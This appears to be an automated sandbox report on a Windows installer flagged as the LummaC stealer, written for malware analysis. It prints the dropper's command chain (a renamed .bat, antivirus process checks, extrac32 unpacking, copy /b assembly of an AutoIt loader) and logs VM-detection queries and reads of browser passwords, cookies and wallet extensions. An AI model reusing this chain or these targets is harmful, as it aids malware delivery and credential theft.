Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Setup.exe

Static file information: File size 1195901 > 1048576

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405B93 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405B93

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\306846\Fox.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\306846\Fox.com

Jump to dropped file

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com TID: 4768	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com TID: 1712	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B6C FindFirstFileW,FindClose,		0_2_00405B6C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040652D DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_0040652D

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\306846	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\306846\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405B93 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405B93

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 306846	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Reef.ppam	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Dealt" Bother	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 306846\Fox.com + Resorts + Signing + Oxford + Bored + Kenneth + Administrative + Kansas + Compiled + Accused 306846\Fox.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Adults.ppam + ..\Pas.ppam + ..\Pcs.ppam + ..\Dealing.ppam + ..\Banks.ppam + ..\Namely.ppam + ..\Chance.ppam + ..\Impose.ppam W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\306846\Fox.com Fox.com W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: Fox.com, 0000000D.00000000.1254564472.0000000000853000.00000002.00000001.01000000.00000008.sdmp, Kansas.9.dr, Fox.com.1.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405C44 GlobalAlloc,lstrlenW,GetVersionExW,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GlobalFree,lstrcpyW,OpenProcess,CloseHandle,CharUpperW,lstrcmpW,GlobalFree,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,lstrcmpW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,FreeLibrary,CloseHandle,

0_2_00405C44

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\306846\Fox.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
